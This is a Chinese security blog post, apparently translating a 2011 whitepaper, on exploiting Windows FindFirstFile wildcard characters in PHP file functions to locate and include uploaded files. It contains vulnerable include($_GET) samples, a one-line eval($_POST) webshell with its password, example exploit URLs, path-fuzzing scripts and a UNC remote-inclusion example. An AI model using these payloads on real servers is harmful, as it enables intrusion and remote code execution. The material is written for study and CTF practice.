<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta http-equiv="Cache-Control" content="no-siteapp">
<meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=1, minimum-scale=1, maximum-scale=1">
<meta name="renderer" content="webkit">
<meta name="google" value="notranslate">
<meta name="robots" content="index,follow">


<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="Akkuman">
<meta name="twitter:description" content="Akkuman的技术博客">
<meta name="twitter:image:src" content="http://127.0.0.1:8000/images/avatar.png">

<meta property="og:url" content="http://127.0.0.1:8000">
<meta property="og:title" content="Akkuman">
<meta property="og:description" content="Akkuman的技术博客">
<meta property="og:site_name" content="Akkuman">
<meta property="og:image" content="http://127.0.0.1:8000/images/avatar.png">
<meta property="og:type" content="website">
<meta name="robots" content="noodp">

<meta itemprop="name" content="Akkuman">
<meta itemprop="description" content="Akkuman的技术博客">
<meta itemprop="image" content="http://127.0.0.1:8000/images/avatar.png">

<link rel="canonical" href="http://127.0.0.1:8000">

<link rel="shortcut icon" href="/favicon.png">
<link rel="apple-itouch-icon" href="/favicon.png">

<link type="text/css" rel="stylesheet" href="https://cdn.bootcss.com/bootstrap/4.0.0/css/bootstrap.min.css">
<link type="text/css" rel="stylesheet" href="/bundle/css/prism.css">
<link type="text/css" rel="stylesheet" href="/bundle/css/zoom.css">
<link type="text/css" rel="stylesheet" href="/bundle/css/main.css">
<script src="https://cdn.bootcss.com/jquery/2.2.4/jquery.min.js"></script>



<script>var cPlayers = [];var cPlayerOptions = [];</script>


<script type="text/javascript">
    var timeSinceLang = {
        year: '年前',
        month: '个月前',
        day: '天前',
        hour: '小时前',
        minute: '分钟前',
        second: '秒前'
    };
    var root = '';
</script>


        <meta name="keywords" content="Hacker,">
        <meta name="description" content="Windows FindFirstFile利用">
        <meta name="author" content="Akkuman">
        <title>Windows FindFirstFile利用</title>
    </head>
    <body>
        
        <header id="header" class="clearfix">
  <div class="container-fluid">
      <div class="row">
          <div class="logo">
              <div class="header-logo">
                <script>
                  var getwbclass = function() {
                    var wbclass = ['b', 'w'];
                    return wbclass[Math.floor(Math.random()*wbclass.length)];
                  }
                  var sitetitle = "Akkuman";
                  for (i in sitetitle) {
                    document.write('<a href="/"><span class="' + getwbclass() + ' titlechar">' + sitetitle.charAt(i) + '</span></a>');
                  }          
                  
                </script>
                
                <a id="btn-menu" href="javascript:isMenu();">
                    <span class="b">·</span>
                </a>
                <a href="javascript:isMenu1();">
                    <span id="menu-1" class="bf">1</span>
                </a>
                <a href="javascript:isMenu2();">
                    <span id="menu-2" class="bf">2</span>
                </a>
                <a href="javascript:isMenu3();">
                    <span id="menu-3" class="bf">3</span>
                </a>
              </div>
              <div id="menu-page">
                <a href="/archive.html"><li>归档</li></a>
                <a href="/tag.html"><li>标签</li></a>
                
                <a href="/atom.xml"><li>订阅</li></a>
                
                <a href="about.html"><li>关于</li></a>
              </div>
              <div id="search-box">
                  <div id="search">
                      <input autocomplete="off" type="text" name="s" id="menu-search" placeholder="搜索..." data-root="" />
                  </div>
              </div>
          </div>
      </div>
  </div>
  </header>
        <div id="body" class="clearfix">
            <div class="container-fluid">
                <div class="row">
                    <div id="main" class="col-12 clearfix" role="main">
                        <article class="posti" itemscope itemtype="http://schema.org/BlogPosting">
                            <h1 class="post-title" itemprop="name headline">Windows FindFirstFile利用</h1>
                            <div class="post-meta">
                                <p>
                                    Written by <a itemprop="name" href="/about.me.html" rel="author">Akkuman</a> with ♥ on <time datetime="1488611787" itemprop="datePublished"></time> in <a href="/tag/Hacker/index.html">Hacker </a>
                                </p>
                            </div>
                            <div class="post-content" itemprop="articleBody">
                                <p>目前大多数程序都会对上传的文件名加入时间戳等字符再进行MD5，然后下载文件的时候通过保存在数据库里的文件ID读取文件路径，一样也实现了文件下载，这样我们就无法直接得到我们上传的webshell文件路径，但是当在Windows下时，我们只需要知道文件所在目录，然后利用Windows的特性就可以访问到文件，这是因为Windows在搜索文件的时候使用了FindFirstFile这一个winapi函数，该函数到一个文件夹(包含子文件夹)去搜索指定文件。</p>

<p>利用方法很简单，我们只要将文件名不可知部分之后的字符用&rdquo;&lt;&ldquo;或者&rdquo;&gt;&ldquo;代替即可，不过要注意一点是，只使用一个&rdquo;&lt;&ldquo;或者&rdquo;&gt;&ldquo;则只能代表一个字符，如果文件名是12345或者更长，这时候请求&rdquo;1&lt;&ldquo;或者&rdquo;1&gt;&ldquo;都是访问不到文件的，需要&rdquo;1&lt;&lt;&ldquo;才能访问到，代表继续往下搜索，有点像Windows的短文件名，这样我们还可以通过这个方式来爆破目录文件了。</p>

<p>我们来做个简单的测试，测试代码如下：</p>

<pre><code class="language-php">//1.php

&lt;?php
	include($_GET['file']);
 ?&gt;
</code></pre>

<p>再在同目录下新建一个文件名为&rdquo;123456.txt&rdquo;的文件，内容为<code>phpinfo()</code>函数，请求<code>/1.php?file=1&lt;&lt;</code>即可包含。
 <img src="" data-src="https://ooo.0o0.ooo/2017/03/04/58ba6a75887a8.png" alt="d8336189e9e8ab752ec855e7ed94a9b7.jpg.png" /></p>

<p># 常用的漏洞代码
 ## 1</p>

<pre><code class="language-php">&lt;?php
	if(isset($_GET[page])) {
		include($_GET[page]);
	}else{
		include 'show.php';
	}
?&gt;
</code></pre>

<h2>2</h2>

<pre><code class="language-php">&lt;?php
	if(isset($_GET[page])) {
		include('./action/' . $_GET[page]);
	}else{
		include './action/show.php';
	}
?&gt;
</code></pre>

<h2>3</h2>

<pre><code class="language-php">&lt;?php
	if(isset($_GET[page])) {
		include('./action/'. $_GET[page] . '.php');
	}else{
		include './action/show.php';
	}
?&gt;
</code></pre>

<h1>相关代码：</h1>

<ol>
<li>php中代码：
<code>php
&lt;?php
	include($_GET['file']);
?&gt;
</code></li>
<li>123456.txt中代码：
<code>php
&lt;?php phpinfo() ?&gt;
</code></li>
<li>123456.TXT里面可以换成一句话木马，代码：
<code>php
&lt;?php eval($_POST[&quot;admin&quot;]) ?&gt;
</code>
url:<a href="http://127.0.0.1/1.php?file=12">http://127.0.0.1/1.php?file=12</a>&lt;&lt;
密码：admin
<strong>注意</strong>：txt里面书写php代码不能换行写，最好是在同一行书写【原因待查明】</li>
</ol>

<p><img src="" data-src="https://ooo.0o0.ooo/2017/03/04/58ba6bd6354d3.png" alt="acccc1eb9b5be30878b4f979f2edadfc.jpg.png" /></p>

<h1>windows的文件系统机制引发的PHP路径爆破问题分析</h1>

<h2>开场白</h2>

<p>此次所披露的是以下网页中提出的问题所取得的测试结果：</p>

<p><a href="http://code.google.com/p/pasc2at/wiki/SimplifiedChinese">http://code.google.com/p/pasc2at/wiki/SimplifiedChinese</a></p>

<pre><code class="language-php">&lt;?php
	for ($i=0; $i&lt;255; $i++) {
		$url = '1.ph' . chr($i);
		$tmp = @file_get_contents($url);
		if (!empty($tmp)) echo chr($i) . &quot; &quot;;
	}
?&gt;
</code></pre>

<p>已知1.php存在，以上脚本访问的结果是：</p>

<pre><code>1.php
1.phP
1.ph&lt;
1.ph&gt;
</code></pre>

<p>都能得到返回。
前两种能返回结果是总所周知的（因为windows的文件系统支持大小的互转的机制），另外的两种返回引起了我们的注意。</p>

<p>测试php版本：PHP4.9,PHP5.2,PHP5.3,PHP6.0</p>

<p>测试系统：WINXP SP3 X32,WINXP SP2 X64，WIN7,WIN2K3</p>

<p>经测试我们得出的结论是：<strong>该漏洞影响所有的windows+php版本</strong></p>

<h2>深入探查模糊测试的结果</h2>

<p>为了继续深入探查关于该bug的信息，我们对demo做了些许修改:</p>

<pre><code class="language-php">&lt;?php
	for ($j=0; $i&lt;256; $j++) {
		for ($i=0; $i&lt;256; $i++) {
			$url = '1.p' . chr($j) . chr($i);
			$tmp = @file_get_contents($url);
			if (!empty($tmp)) echo chr($j) . chr($i) . &quot; &quot;;
		}
	}
?&gt;
</code></pre>

<p>在调试php解释器的过程中，我们将此“神奇”的漏洞归结为一个Winapi 函数FindFirstFile(）所产生的结果<a href="http://msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx">(http://msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx)</a>.更好玩的是，当跟踪函数调用栈的过程中我们发现字符”&gt;”被替换成”?”，字符”&lt;”被替换成”*”，而符号”（双引号）被替换成一个”.”字符。这在2007年msdn公开的文档中被提及：<a href="http://msdn.microsoft.com/en-us/library/community/history/aa364418%28v=vs.85%29.aspx?id=3">http://msdn.microsoft.com/en-us/library/community/history/aa364418%28v=vs.85%29.aspx?id=3</a></p>

<p>但是此bug至今未被任何windows旗下所发行的任何版本修复!</p>

<p>我们要阐明的是，该函数FindFirstFile()在php下的运用远远不至于file_get_contents().关于该bug可以利用的函数我们已经列了如下一表：</p>

<p>此外，我们还发现该利用也可以被运用到c++中，以下采用来自msdn的例子：</p>

<pre><code class="language-cpp">#include &lt;windows.h&gt;
#include &lt;tchar.h&gt;
#include &lt;stdio.h&gt;

void _tmain(int argc, TCHAR *argv[]){
	WIN32_FIND_DATA FindFileData;
	HANDLE hFind;
	if( argc != 2 ){
		_tprintf(TEXT(&quot;Usage: %s [target_file] &quot;), argv[0]);
		return;
	}

	_tprintf (TEXT(&quot;Target file is %s &quot;), argv[1]);
	hFind = FindFirstFile(argv[1], &amp;FindFileData);
	if (hFind == INVALID_HANDLE_VALUE){
		printf (&quot;FindFirstFile failed (%d) &quot;, GetLastError());
		return;
	}else{
		_tprintf (TEXT(&quot;The first file found is %s &quot;), FindFileData.cFileName);
		FindClose(hFind);
	}
}
</code></pre>

<p>当传入参数”c:o&lt;”时，成功访问到boot.ini文件。</p>

<h2>利用方法总结</h2>

<ol>
<li>当调用FindFirstFile()函数时，”&lt;”被替换成” * ”,这意味该规则可以使”&lt;”替换多个任意字符，但是测试中发现并不是所有情况都如我们所愿。所以，<strong>为了确保能够使”&lt;”被替换成”*”,应当采用”&lt;&lt;”</strong>
<code>
EXAMPLE:include(‘shell&lt;');  或者include(‘shell&lt;&lt;');    //当文件夹中超过一个以shell打头的文件时，该执行取按字母表排序后的第一个文件。
</code></li>
<li>当调用FindFirstFile()函数时，”&gt;”被替换成”?”,这意味这”&gt;”可以替换单个任意字符
<code>
EXAMPLE：include(‘shell.p&gt;p');    //当文件中超过一个以shell.p?p 通配时，该执行取按字母表排序后的第一个文件。
</code></li>
<li>当调用FindFirstFile()函数时，”””(双引号)被替换成”.”
<code>
EXAMPLE:include(‘shell”php');    //===&gt;include(‘shell.php');
</code></li>
<li>如果文件名第一个字符是”.”的话，读取时可以忽略之
<code>
EXAMPLE：fopen(‘.htacess');  //==&gt;fopen(‘htacess');   //加上第一点中的利用 ==&gt;fopen(‘h&lt;&lt;');
</code></li>
<li>文件名末尾可以加上一系列的/或者的合集，你也可以在/或者中间加上.字符，只要确保最后一位为”.”
<code>
EXAMPLE：fopen(“config.ini\.// ///.”);==&gt;  fopen(‘config.ini./..'); ==&gt;fopen(‘config.ini/////.')==&gt;fopen(‘config.ini…..')   //译者注：此处的利用我不是很理解，有何作用？截断？
</code></li>
<li>该函数也可以调用以”\”打头的网络共享文件，当然这会耗费不短的时间。补充一点，如果共享名不存在时，该文件操作将会额外耗费4秒钟的时间，并可能触发时间响应机制以及max_execution_time抛错。所幸的是，该利用可以用来绕过allow_url_fopen=Off 并最终导致一个RFI（远程文件包含）
<code>
EXAMPLE：include (‘\evilservershell.php');
</code></li>
<li>用以下方法还可以切换文件的盘名
<code>
include(‘\.C:myfile.php......D:anotherfile.php');
</code></li>
<li>选择磁盘命名语法可以用来绕过斜线字符过滤
<code>
file_get_contents(‘C:boot.ini'); //==&gt;  file_get_contents (‘C:/boot.ini');
</code></li>
<li>在php的命令行环境下（php.exe）,关于系统保留名文件的利用细节
```
EXAMPLE:file_get_contents(‘C:/tmp/con.jpg&rsquo;); //此举将会无休无止地从CON设备读取0字节，直到遇到eof</li>
</ol>

<p>EXAMPLE:file_put_contents(‘C:/tmp/con.jpg&rsquo;,chr(0×07));  //此举将会不断地使服务器发出类似哔哔的声音</p>

<pre><code>## 更深入的利用方法

除了以上已经展示的方法，你可以用下面的姿势来绕过WAF或者文件名过滤

请思考该例：
```php
&lt;?php
	file_get_contents(&quot;/images/&quot;.$_GET['a'].&quot;.jpg&quot;);
	//or another function from Table 1, i.e. include().
?&gt;
</code></pre>

<p>访问test.php?a=../a&lt;%00</p>

<p>可能出现两种结果</p>

<ol>
<li><p>Warning: include(/images/../a&lt;) [function.include]: failed to open stream:Invalid argument in。。。</p></li>

<li><p>Warning: include(/images/../a&lt;) [function.include]: failed to open stream:Permission denied。。</p></li>
</ol>

<p>如果是第一种情况，说明不存在a打头的文件，第二种则存在。</p>

<p>此外，有记录显示，有时网站会抛出如下错误：</p>

<pre><code>Warning: include(/admin_h1d3) [function.include]: failed to open stream: Permission denied..
</code></pre>

<p>这说明该文件夹下存在一个以上以a打头的文件（夹），并且第一个就是admin_h1d3。</p>

<h2>结论</h2>

<p>实验告诉我们，php本身没有那么多的漏洞，我们所看到是：过分的依赖于另一种程序语言（注：如文中的漏洞产自与winapi的一个BUG），并且直接强 制使用，将会导致细微的错误(bug)，并最终造成危害(vul).这样便拓宽了模糊测试的范畴（译者注：并不仅仅去研究web层面，而深入到系统底层），并最终导致IDS，IPS的规则更新。诚然，代码需要保护，需要补丁，需要升级与扩充。但是，这并不是我们真正要去关注的问题。在当下，我认为我们 更谨慎地去书写更多更严厉的过滤规则，正如我们一直在做的一样。任重道远，精益求精。</p>

<p>因为这是基础应用层的问题，所以我们猜想类似的问题可能出现在其他web应用中。于是我们还测试了mysql5,而实验结果表明，mysql5并不存在类似的漏洞。但是我们仍认为：类似的漏洞将会出现在诸如Perl、Python、Ruby等解释性语言上。</p>

<h2>Referer</h2>

<blockquote>
<p>PHP application source code audits advanced technology:</p>

<p><a href="http://code.google.com/p/pasc2at/wiki/SimplifiedChinese">http://code.google.com/p/pasc2at/wiki/SimplifiedChinese</a></p>

<p>MSDN FindFirstFile Function reference:</p>

<p><a href="http://msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx">http://msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx</a></p>

<p>MSDN comments history:</p>

<p><a href="http://msdn.microsoft.com/en-us/library/community/history/aa364418(v=vs.85).aspx?id=3">http://msdn.microsoft.com/en-us/library/community/history/aa364418(v=vs.85).aspx?id=3</a></p>

<p>MSDN article «Naming Files, Paths, and Namespaces»:</p>

<p><a href="http://msdn.microsoft.com/en-us/library/aa365247(v=vs.85).aspx">http://msdn.microsoft.com/en-us/library/aa365247(v=vs.85).aspx</a></p>

<p>Technet article «Managing Files and Directories»:</p>

<p><a href="http://technet.microsoft.com/en-us/library/cc722482.aspx">http://technet.microsoft.com/en-us/library/cc722482.aspx</a></p>

<p>Paper «Technique of quick exploitation of 2blind SQL Injection»:</p>

<p><a href="http://www.exploit-db.com/papers/13696/">http://www.exploit-db.com/papers/13696/</a></p>
</blockquote>

<hr />

<p>全文完。</p>

<p>注：该文是2011年底发表的一篇白皮书，至今该bug依然存在。我在几个月前做CUIT的一个CTF时偶遇了一道该bug的利用，当时便是看的此文，当时只是粗粗读了一下，写了一个php的脚本去跑目录。今回闲来无事，翻译整理了一番。</p>

<p>文章转自群友</p>

<h1>版权声明：</h1>

<p>文章所设计内容包括两部分
一是法师的书籍《代码审计-企业级web代码安全架构》
二是来自群友@evil7提供的资料
以下为资料原文：
<a href="http://www.169it.com/blog_article/2302639890.html">http://www.169it.com/blog_article/2302639890.html</a>
<a href="https://code.google.com/archive/p/pasc2at/wikis/SimplifiedChinese.wiki">https://code.google.com/archive/p/pasc2at/wikis/SimplifiedChinese.wiki</a></p>

                            </div>
                            <div style="display:block;" class="clearfix">
                                <section style="float:left;">
                                    <span itemprop="keywords" class="tags">
                                        tag(s): <a href="/tag/Hacker/index.html">Hacker </a>
                                    </span>
                                </section>
                                <section style="float:right;">
                                    <span><a id="btn-comments" href="javascript:isComments();">show comments</a></span> · <span><a href="javascript:goBack();">back</a></span> · 
                                    <span><a href="/">home</a></span>
                                </section>
                            </div>
                            



<div id="comments" class="gen">
    <script>
        document.write('<section id="disqus_thread"></section>');
        var site_comment_load = function disqus() {
            var d = document, s = d.createElement('script');
            s.src = '//Akkum4n.disqus.com/embed.js';
            s.setAttribute('data-timestamp', +new Date());
            (d.head || d.body).appendChild(s);
        }
    </script>
</div>

                        </article>
                    </div>
                </div>
            </div>
        </div>
        <footer id="footer" role="contentinfo">
    <div class="container-fluid">
        <div class="row">
        <div class="col-12">
            &copy; 
            <script type="text/javascript">
                document.write(new Date().getFullYear());
            </script>
            <a href="/">Akkuman</a>.
            Using <a target="_blank" href="http://www.chole.io/">Ink</a> & <a target="_blank" href="/">Story</a>.
        </div>
        </div>
    </div>
</footer>

<script src="https://cdn.bootcss.com/jquery/2.2.4/jquery.min.js"></script>
<script src="/bundle/js/prism.js"></script>
<script src="/bundle/js/zoom-vanilla.min.js"></script>
<script src="/bundle/js/main.js"></script>

<script>
    window.onload=function(){
        if (window.location.hash!='') {
          var i=window.location.hash.indexOf('#comment');
          var ii=window.location.hash.indexOf('#respond-post');
          if (i != '-1' || ii != '-1') {
            document.getElementById('btn-comments').innerText='hide comments';
            document.getElementById('comments').style.display='block';
          }
        }
    }

    function isMenu(){
        if(document.getElementById('menu-1').style.display=='inline'||document.getElementById('menu-1').style.display=='block'){
            $('#search-box').fadeOut(200);
            $('#menu-page').fadeOut(200);
            $('#menu-1').fadeOut(500);
            $('#menu-2').fadeOut(400);
            $('#menu-3').fadeOut(300);
        } else {
            $('#menu-1').fadeIn(150);
            $('#menu-2').fadeIn(150);
            $('#menu-3').fadeIn(150);
        }
    }

    function isMenu1(){
        if(document.getElementById('menu-page').style.display=='block'){
            $('#menu-page').fadeOut(300);
        } else {
            $('#menu-page').fadeIn(300);
        }
    }

    function isMenu2(){
        if(document.getElementById('torTree')){
            if(document.getElementById('torTree').style.display=='block'){
                $('#torTree').fadeOut(300);
            } else {
                $('#torTree').fadeIn(300);
            }
        }
    }

    function isMenu3(){
        if(document.getElementById('search-box').style.display=='block'){
            $('#search-box').fadeOut(300);
        } else {
            $('#search-box').fadeIn(300);
        }
    }

    function isComments(){
        if(document.getElementById('btn-comments').innerText=='show comments'){
            document.getElementById('btn-comments').innerText='hide comments';
            document.getElementById('comments').style.display='block';
            site_comment_load();
        } else {
            document.getElementById('btn-comments').innerText='show comments';
            document.getElementById('comments').style.display='none';
        }
    }

    function Search404(){
        $('#menu-1').fadeIn(150);
        $('#menu-2').fadeIn(150);
        $('#menu-3').fadeIn(150);
        $('#search-box').fadeIn(300);
    }

    function goBack(){
        window.history.back();
    }
</script>


<script async>
"use strict";
(function(){
var cp = function(){
    var len = cPlayerOptions.length;
    for(var i=0;i<len;i++){
        var element = document.getElementById('player' + cPlayerOptions[i]['id'])
        while (element.hasChildNodes()) {
            element.removeChild(element.firstChild);
        };
        cPlayers[i] = new cPlayer({
            element: element,
            list: cPlayerOptions[i]['list'],
            });
    };
    cPlayers = [];cPlayerOptions = [];
};
var script = document.createElement('script');
script.type = "text/javascript";
script.src = "https://cdn.bootcss.com/cplayer/3.2.1/cplayer.js";
script.async = true;
if(script.readyState){  
    script.onreadystatechange = function(){
        if (script.readyState == "loaded" ||
            script.readyState == "complete"){
            script.onreadystatechange = null;
            cp();
        }
    };
}else{  
    script.onload = function(){
        cp();
    };
}
document.head.appendChild(script);
})();
</script>

    </body>
</html>
